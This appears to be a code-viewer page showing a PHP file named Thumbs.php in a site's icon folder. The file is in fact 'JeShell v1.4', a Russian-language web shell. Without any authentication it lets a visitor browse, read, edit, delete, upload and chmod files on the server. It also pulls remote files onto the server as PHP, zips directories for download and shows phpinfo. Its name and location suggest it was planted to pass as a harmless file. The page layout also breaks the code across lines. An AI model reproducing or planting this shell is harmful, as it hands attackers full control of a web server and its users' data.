Вход Регистрация
Файл: sumerki.mobi/sumerki.mobi/pic/ico/Thumbs.php
Строк: 373
<?php
/*   Описание JeShell v1.4
** Небольшой шелл, полная модификация шелла delorean.
** Переписан весь код, добавлены новые функции.
** Автор скрипта: Juse
*/
 
@ob_start();
  
error_reporting(0);
/////////////////////////////////
//////////////Картинки///////////
/////////////////////////////////
if(isset($_GET['img'])) {
    
$img = array(
     
"dir" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAVdJREFUeNqkk7tOAkEUhv9ZliUiIcZoiEYbCgtewNLGxM7agsICG0sLO6PxAdDCkncw0cbCF7DBGBNqIyZmAbkswjLu7hzPQGJEwLgyycnkzMz/zbnMCCLCNMMs5dfzPOfG7BXYjtg644SZg7sBQJjxvbXsWYK81temiMyg+nC7XyteaveEzZkUgSidb7ynNzOzUPLbagTCWMZbWchq8frjlwwKZuD5pNwmqFcZBlhNzC+lY4vZ4xis5OjN1hweL3Zzpi89QHZB7dehA2TYIMuGckqAER0FxFcReAqmdH00nhyoTu/HEe232V7Gxm4kmlAaQLJHqa3Tf7Xw+f4QXIMA5Hfh21fh+p/ahtaaOgxy61CtcigAJeuDFHQhSNYZ0ggHYE2/iMrnFNxaeABrtJYBBKUB0gkFUH0AMSBQ7Eb5YSyE7EEUWitudlYmfaa/jIKY9jt/CjAAEh2nzNn9StAAAAAASUVORK5CYII=",
     
"up"  => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAeRJREFUeNpi/P//PwM2oDnvgiMzI+NGEPvv//+h15MMdmJTx4RNUGPOmWA2xn8bGxzkOVucFTiB7NVAsWiiDFCdeTKOg4lhQbmzCtdXEX6W94K8LLVualz8bEwzgHI56OoZkb2gPO1IjggXW3uJqxbnQ05O5os//zOAZHXYG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DcSiaF8sm9Mv/7tZzrk38cwXw049wn8ffNDuDv4HlyObYeQz4VdDWdAFLvW/P7AVkWRkbnJCpZlEMuG2weHZuGM2lC88+PHMHL2IHQKtcC5/HC8LgSH7afB/nULrq9v0QOBTvD56HcVRULGFfgXZFlCHk/jtmRqtBCNDuo+VwQ7nDHsInqAZM6Bop6Hjo4LEItdgEOH5KLHE8UEwR6UZQE9N1KZsRRDTvyn88lL2EO0aWO/3sI3b2RhZnoRcrkVePDgP6Pn8dGjTUW7PYw9Hj4oSRzaMJLhBYsoCsjnY/f092fA6YxoU1PzMDp6GxKJUby8XMALC0/Mrre0JNdtNhocDnmC4+inDMwyZXi9/qpY7LslgohBX9+QNje3iGtrm/Vc7pFWKOglwyQwPj4FNlvD4/r6QC/HceVoM0yiYWVjmTwf6Q4Gv4ETJ07B2loBLl68Aqura7C09BjS6WsLra3d50iSedNkbGAsm1kwZJQ/lcHtYpjO0t69RO7q1cnCxMSthWi0t4eipN1eL/kqTdNmbszwWUzcJoNngUKBAPv6kSOe/QzDbnE4yH11dc5Kw61IUUQUCgVN+1qNt5bnmP8B3FJFRK3G9LEAAAAASUVORK5CYII=",
            );
        
header("Content-type: image/gif");
    exit(
base64_decode($img[$_GET[img]]));
}
if (isset(
$_GET['php'])) {
 
phpinfo();
  exit();
}
/////////////////////////////////
//////////////Функции////////////
/////////////////////////////////
function AddZipFile($folder
{
  global 
$zip;
    
$files scandir($folder);
    
$do = array();
    foreach (
$files as $file) {
        if ((
$file == '.') || ($file == '..')) continue;
            
$item $folder '/' $file;
        if (
is_dir ($item)) {
            
AddZipFile($item);
        } else if(
is_file($item)) {
            echo 
'ADD: '.$item.'<br />';
             
$zip->addFromString($item, @file_get_contents($item));
        }
    }
}
function 
highlight_code($code

  
$code stripslashes($code); 
  if(!
strpos($code,"<?") && substr($code,0,2)!="<?") {
    
$code trim($code); 
  }  
  
$code trim($code); 
  return 
highlight_string($code,true);

function 
remove($path
{
    return 
is_file($path)? @unlink($path): array_map('removeDir',glob($path."/*"))==@rmdir($path);
}
function 
head($path) {
 global 
$d;
  if (!
$d$d trim($path);
        echo 
'<hr /><a href="'.$_SERVER['PHP_SELF'].'?d='realpath(dirname($d)) .'"><img src="'.$_SERVER['PHP_SELF'].'?img=up" alt="" /> На уровень вверх</a><br />
        <a href="'
.$_SERVER['PHP_SELF'].'?do=upld&amp;d='.realpath($d).'"><img src="'.$_SERVER['PHP_SELF'].'?img=upl" alt="" /> Загрузить файл</a><br />
        Создать <a href="'
.$_SERVER['PHP_SELF'].'?do=cf&amp;d='.realpath($d).'">файл</a> | <a href="'.$_SERVER['PHP_SELF'].'?do=cd&amp;d='.realpath($d).'">папку</a><br />
        Каталог: '
.$d.' <font color="#FF00F0">('.(decoct(fileperms(realpath($d))) % 1000).')</font> '.(is_readable(realpath($d)) ? '<b title="Доступен для чтения">r</b>' '<del title="Не доступен для чтения">r</del>') .'/'. (is_writable(realpath($d)) ? '<b title="Доступен для записи">w</b>' '<del title="Не доступен для записи">w</del>').'/'.(is_executable(realpath($d)) ? '<b title="Исполняемый">x</b>' '<del title="Не исполняемый">x</del>').'<br />
        <font color="#FF0000"><strong><form><input name="d" value="'
.$d.'" /> <input type="submit" value="Перейти"></form></strong></font>
        <a href="'
.$_SERVER['PHP_SELF'].'?php">PHP Info ('.phpversion().')</a><br />';
        if (
function_exists('ini_get')) {
          echo 
'<b>Disable functions: '.(ini_get('disable_functions') ? ini_get('disable_functions') : '<small>No value</small>').'<br />
          Open basedir: '
.(ini_get('open_basedir') ? ini_get('open_basedir') : '<small>No value</small>').'</b>';
        }
}
/////////////////////////////////
//////////////Установки//////////
/////////////////////////////////  
  
ini_set('memory_limit''999M');
  
ini_set("max_execution_time"0);
/////////////////////////////////
//////////////Шапка//////////////
/////////////////////////////////
 
header('Content-type: text/html; charset=utf-8');
 
header("Cache-Control: no-cache, must-revalidate");
 
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");

     
$HeadTime microtime(true);
     echo 
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
        <head>
            <title>'
.($_GET['d'] ? basename($_GET['d']) : basename(realpath('.'))).'</title>
            <style type="text/css">
                body {
                    font-family: Arial;
                    color:#FF0000;
                    background-color:#FFFFCC;
                }
                a {
                    color:#00AA00;
                    text-decoration:none;
                }
                a:hover {
                    color: red;
                    position: relative;
                    top: 1px; left: 1px;
                }
                a:visited {
                    color: 006600;
                }
                b {
                    color:#008800;
                    font-style:bold;
                }
                table {
                    background-color: #FFFFFF;
                    border: 1px solid #FF8800;
                }
                td{
                    margin: 0px;
                    padding: 0px; 
                    border: 1px solid #FF8800;
                    background-color: #FFCE52;
                    color: #f00;
                }
                td:hover{
                    margin: 0px;
                    padding: 0px; 
                    border: 1px solid #FF8800;
                    background-color: #FF9E52;
                    color: #f00;
                }
                td:hover{
                    background-color: #FF9E52;
                }
                .vo{
                    margin: 1px;
                    padding: 10px; 
                    border: 1px solid #FF8800;
                    background-color: #FFCE52;
                    color: #f00;
                }
                .code{
                    margin: 1px;
                    padding: 10px; 
                    border: 1px solid #FF8800;
                    background-color: #F9F9F9;
                    color: #f00;
                }
            </style>
        </head>
        <body>'
;
/////////////////////////////////
/////////////////////////////////
switch($_GET['do']) {
default:
     
$d = empty($_GET['d']) ? realpath('.') : realpath($_GET['d']);
        
head($d);
        echo 
'<br /><font color="#FF0000">Папки:</font><table>';
     if (
is_file($d)) {
       
header("location: ".$_SERVER['PHP_SELF']."?do=edit&d=".$d);
        exit();
     }
    
$dir opendir($d);
        while (
$file readdir($dir)) {
            if (
is_dir($d.'/'.$file)) {
                if ((
$file == ".") || ($file == "..")) continue;
                echo 
'<tr><td width="100%"> <a href="'.$_SERVER['PHP_SELF'].'?d='.$d.'/'.$file.'/"><img src="'.$_SERVER['PHP_SELF'].'?img=dir" alt="" /> '.$file.'</a></td>
                <td>DIR</td>
                <td>'
.date('d.m.y-H:i'filectime(realpath($d.'/'.$file))).'</td>
                <td style="font-size:80%;">'
.(is_readable(realpath($d.'/'.$file)) ? '<b title="Доступен для чтения">r</b>' '<del title="Не доступен для чтения">r</del>') . (is_writable(realpath($d.'/'.$file)) ? '<b title="Доступен для записи">w</b>' '<del title="Не доступен для записи">w</del>').(is_executable(realpath($d.'/'.$file)) ? '<b title="Исполняемый">x</b>' '<del title="Не исполняемый">x</del>').'</td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=azip&amp;d='.$d.'/'.$file.'"><font color="#0000FF">[Запаковать]</font></a></td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=chmod&amp;d='.$d.'/'.$file.'/">'.(decoct(fileperms($d.'/'.$file)) % 1000).'</a></td>
                <td><a onclick="return confirm('
Действительно удалить папку '.$file.'?')" href="'.$_SERVER['PHP_SELF'].'?do=unlink&amp;d='.$d.'/'.$file.'/"><font color="#FF0000">[Удалить]</font></a></td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=rename&amp;d='.$d.'/'.$file.'"><font color="#000000">[Переименовать]</font></a></td>
                </tr>'
;
            }
        }
    
$dir opendir($d);
        echo 
'</table><hr />
    <font color="#FF0000">Файлы:</font>
    <table>'
;
        while (
$file readdir($dir)) {
            if(
is_file($d.'/'.$file)) {
                
$ext strtolower(substr($filestrrpos($file".")));
                echo 
'<tr><td width="100%"> <a href="'.$_SERVER['PHP_SELF'].'?do=v&amp;d='.$d.'/'.$file.'"><img src="'.$_SERVER['PHP_SELF'].'?img=fl" alt="" /> '.$file.'</a>
                       '
.($ext == 'zip' '<small><a href="'.$_SERVER['PHP_SELF'].'?do=zip&amp;d='.$d.'/'.$file.'"><font color="#0000FF">[Распаковать]</font></a></small>' NULL).'
                </td>
                <td>'
.date('d.m.y-H:i'filectime(realpath($d.'/'.$file))).'</td>
                <td style="font-size:80%;">'
.(is_readable(realpath($d.'/'.$file)) ? '<b title="Доступен для чтения">r</b>' '<del title="Не доступен для чтения">r</del>') . (is_writable(realpath($d.'/'.$file)) ? '<b title="Доступен для записи">w</b>' '<del title="Не доступен для записи">w</del>').(is_executable(realpath($d.'/'.$file)) ? '<b title="Исполняемый">x</b>' '<del title="Не исполняемый">x</del>').'</td>
                <td>' 
round(filesize("$d/$file")/10241) . 'кб</td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=chmod&amp;d='.$d.'/'.$file.'"><font color="#FF3300">'.(decoct(fileperms($d.'/'.$file)) % 1000).'</a></td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=edit&amp;d='.$d.'/'.$file.'"><font color="#0000FF">[Редактировать]</font></a></td>
                <td><a onclick="return confirm('
Действительно удалить файл '.$file.'')" href="'.$_SERVER['PHP_SELF'].'?do=unlink&amp;d='.$d.'/'.$file.'"><font color="#FF0000">[Удалить]</font></a></td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=rename&amp;d='.$d.'/'.$file.'"><font color="#000000">[Переименовать]</font></a></td>
                <td><a href="'
.$_SERVER['PHP_SELF'].'?do=down&amp;d='.$d.'/'.$file.'"><font color="#00FF00">[Скачать]</font></a></td>
                </tr>'
;
            }
        }
        
closedir($dir);
    echo 
'</table>';
break;
/////////////////////////////////
/////////Переименование//////////
/////////////////////////////////
case 'rename':
  
head($_GET['d']);
    if(isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Переименование</font></b><hr />
        <div class="vo">
         <form action="'
.$_SERVER['PHP_SELF'].'?do=rename&amp;rename='.$_GET['d'].'" method="post">
          <input size="100" name="new_name" value="'
.$_GET['d'].'" /><br /><br />
          <input type="submit" value="Переименовать" />
         </form>
        </div>'
;
    }elseif(isset(
$_GET['rename'])) {
        echo 
'<br /><strong><font color="#FF0000">Переименование</font></strong><hr />';
        if (@
rename($_GET['rename'], $_POST['new_name'])) {
          
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['rename']));
        } else echo 
'<strong>Ошибка переименования!</strong>';
    }
break;
/////////////////////////////////
/////////Upload файлов///////////
/////////////////////////////////
case 'upld':
  
head($_GET['d']);
    if (isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Аплоад файлов</font></b><hr />
        <div class="vo">
        Максимальный размер файла: <b>'
.ini_get('upload_max_filesize').' MB</b><br />
        <form action="'
.$_SERVER['PHP_SELF'].'?do=upld&amp;upload='.$_GET['d'].'" method="post" enctype="multipart/form-data">
         Файл:<br /> <input type="file" name="file" /><br />
         HTTP:<br /> <input name="http" value="http://" /><br />
         Сохранить как: <br /> <input type="text" name="name" value="name.php" /><br />
         <input type="submit" value="Загрузить" />
        </form>
        </div>'
;
    } elseif(isset(
$_GET['upload'])) {
        
$name trim($_POST['name']);
        if (
$name) {
            if (
$_POST['http'] != 'http://') {
                if(
copy($_POST['http'], $_GET['upload'].'/'.$name)){
                    
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['upload']);
                } else 
header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
            } else {
                if(
copy($_FILES["file"]["tmp_name"], $_GET['upload'].'/'.$name)){
                    
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['upload']);
                } else 
header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
            }
        } else 
header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
    }
break;
/////////////////////////////////
////////////Download/////////////
/////////////////////////////////
case 'down':
    if (isset(
$_GET['d'])) {
        
$file file_get_contents($_GET['d']);
        
$name explode('/'$_GET['d']);
        
$name $name[count($name)-1];
        
header('Content-type: text/plain');
        
header('Content-disposition: attachment; filename="'.$name.'"');
        exit(
$file);
    }
break;
/////////////////////////////////
/////////////Права //////////////
/////////////////////////////////
case 'chmod':
  
head($_GET['d']);
    if(isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Права доступа</font></b><hr />
        <div class="vo">
         <form action="'
.$_SERVER['PHP_SELF'].'?do=chmod&amp;chmod='.$_GET['d'].'" method="post">
          <input size="100" name="chmod" value="'
.(decoct(fileperms(realpath($_GET['d']))) % 1000).'" /><br /><br />
          <input type="submit" value="Установить" />
         </form>
        </div>'
;
    }elseif(isset(
$_GET['chmod'])) {
        echo 
'<strong><font color="#FF0000">Переименование</font></strong><hr />';
        if (@
chmod($_GET['chmod'], @base_convert($_POST['chmod'], 810))) {
          
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['chmod']));
        } else echo 
'<strong>Ошибка установки прав доступа!</strong>';
    }
break;
/////////////////////////////////
///////Удаление//////////////////
/////////////////////////////////
case 'unlink':
  
head($_GET['d']);
if(isset(
$_GET['d'])){
    if (
remove($_GET['d'])) {
      
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['d']));
    }
}
break;
/////////////////////////////////
//////////Чтение файла///////////
/////////////////////////////////
case 'v':
  
head($_GET['d']);
    if(isset(
$_GET['d'])) {
        echo 
'<strong><font color="#FF0000">Чтение файла</font></strong><hr />';
        
$file file_get_contents($_GET['d']);
        if(
$file) {
            echo 
'<div class="code">'.highlight_code($file).'</div>';
        } else { echo 
'Ошибка чтения файла!'; }
    }
break;
/////////////////////////////////
//////Редактирование файла///////
/////////////////////////////////
case 'edit':
  
head($_GET['d']);
    if(isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Редактирование файла</font></b><hr />';
        
$file file_get_contents($_GET['d']);
        
$file htmlspecialchars($file);
            echo 
'<div class="vo">
            <form action="'
.$_SERVER['PHP_SELF'].'?do=edit&amp;edit='.$_GET['d'].'" method="post">
            <textarea cols="180" rows="30" name="text" WRAP="OFF">' 
$file '</textarea><br />
            Chmod: <input name="chmod" value="0777" /> <input type="submit" value="Редактировать" />
            </form></div>'
;
    }elseif(isset(
$_GET['edit'])) {
        echo 
'<br /><b><font color="#FF0000">Редактирование файла</font></b><hr />';
        
$fp fopen($_GET['edit'],"w");
        
fputs($fp,$_POST['text']);                                   
        
fclose($fp);
         @
chmod($_GET['chmod'], @base_convert($_POST['chmod'], 810));
        if(
$fpheader("location: ".$_SERVER['PHP_SELF']."?do=edit&d=".$_GET['edit']);
        if(!
$fp) echo 'Ошибка записи файла!';
    }
break;
/////////////////////////////////
/////////Создание файла//////////
/////////////////////////////////
case 'cf':
  
head($_GET['d']);
    if (isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Создание файла</font></b><hr />
        <div class="vo"><form action="'
.$_SERVER['PHP_SELF'].'?do=cf&amp;cf='.$_GET['d'].'" method="post">
        Название:<br /> <input name="name" value="file.php"><br />
        Содержимое:<br />
        <textarea cols="180" rows="30" name="put" WRAP="OFF">'
.htmlspecialchars(file_get_contents($_SERVER["SCRIPT_FILENAME"])).'</textarea><br />
        <input type="submit" value="Создать!"/>
        </form></div>'
;
    } elseif(isset(
$_GET['cf'])) {
        echo 
'<br /><b><font color="#FF0000">Создание файла</font></b><hr />';
        
$fp fopen($_GET['cf'].'/'.$_POST['name'],"w");
        
fputs($fp$_POST['put']);
        
fclose($fp);
            @
chmod($_GET['cf'].'/'.$_POST['name'], @base_convert(777810));
        
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['cf']);
    }
break;
/////////////////////////////////
/////////Создание Папки//////////
/////////////////////////////////
case 'cd':
  
head($_GET['d']);
    if (isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Создание папки</font></b><hr />
        <div class="vo"><form action="'
.$_SERVER['PHP_SELF'].'?do=cd&amp;cd='.$_GET['d'].'" method="post">
        <input name="name" value="dir'
.rand(111,999).'" /><br />
        <input type="submit" value="Создать!" />
        </form></div>'
;
    } elseif(isset(
$_GET['cd'])) {
        if (
$_POST['name']) {
            
mkdir($_GET['cd'].'/'.$_POST['name']);
            @
chmod($_GET['cd'].'/'.$_POST['name'], @base_convert(777810));
        }
        
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['cd']);
    }
break;
/////////////////////////////////
////////Распаковка архива////////
/////////////////////////////////
case 'zip':
  
head($_GET['d']);
    if (isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Распаковка архива</font></b><hr />
        <div class="vo"><form action="'
.$_SERVER['PHP_SELF'].'?do=zip&amp;cd='.$_GET['d'].'" method="post">
        Архив: '
.basename($_GET['d']).'<br />
        Распаковать в: <br /><input name="path" value="'
.dirname($_GET['d']).'" /><br />
        <input type="submit" value="Распаковать!" />
        </form></div>'
;
    } elseif(isset(
$_GET['cd'])) {
        
$zip = new ZipArchive;
        if (
$zip->open($_GET['cd']) === TRUE) {
            
$zip->extractTo(dirname($_POST['path']));
            
$zip->close();
        }
        
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['cd']));
    }
break;
/////////////////////////////////
////////Запаковка архива ////////
/////////////////////////////////
case 'azip':
  
head($_GET['d']);
    if (isset(
$_GET['d'])) {
        echo 
'<br /><b><font color="#FF0000">Распаковка архива</font></b><hr />
        <div class="vo"><form action="'
.$_SERVER['PHP_SELF'].'?do=azip&amp;cd='.$_GET['d'].'" method="post">
        Имя архива: <br /><input name="name" size="100" value="'
.str_replace('\', '/', $_GET['d']).'/'.basename($_GET['d']).'.zip" /><br />
        <input type="
submit" value="Запаковать!" />
        </form></div>';
    } elseif(isset(
$_GET['cd'])) {
      chdir(
$_GET['cd']);
      echo '<br />Запаковка<br />';
        
$zip = new ZipArchive;
        
$zip->open($_POST['name'], ZipArchive::CREATE);
          AddZipFile('.');
        
$zip->close();
            @chmod(
$_POST['name'], @base_convert(777, 8, 10));
    }
break;
}
/////////////////////////////////
//////////////Ноги///////////////
/////////////////////////////////
echo '<br /><div class="
vo"><a href="'.$_SERVER['PHP_SELF'].'?"><img src="'.$_SERVER['PHP_SELF'].'?img=bak" alt="" /> В начало</a>
 <div style="
float:right;">Made by Juse</a></div>
      <br />Генерация: '.round(microtime(true) - 
$HeadTime,4).' сек.        
      </div>
    </body>
</html>';
Онлайн: 3
Реклама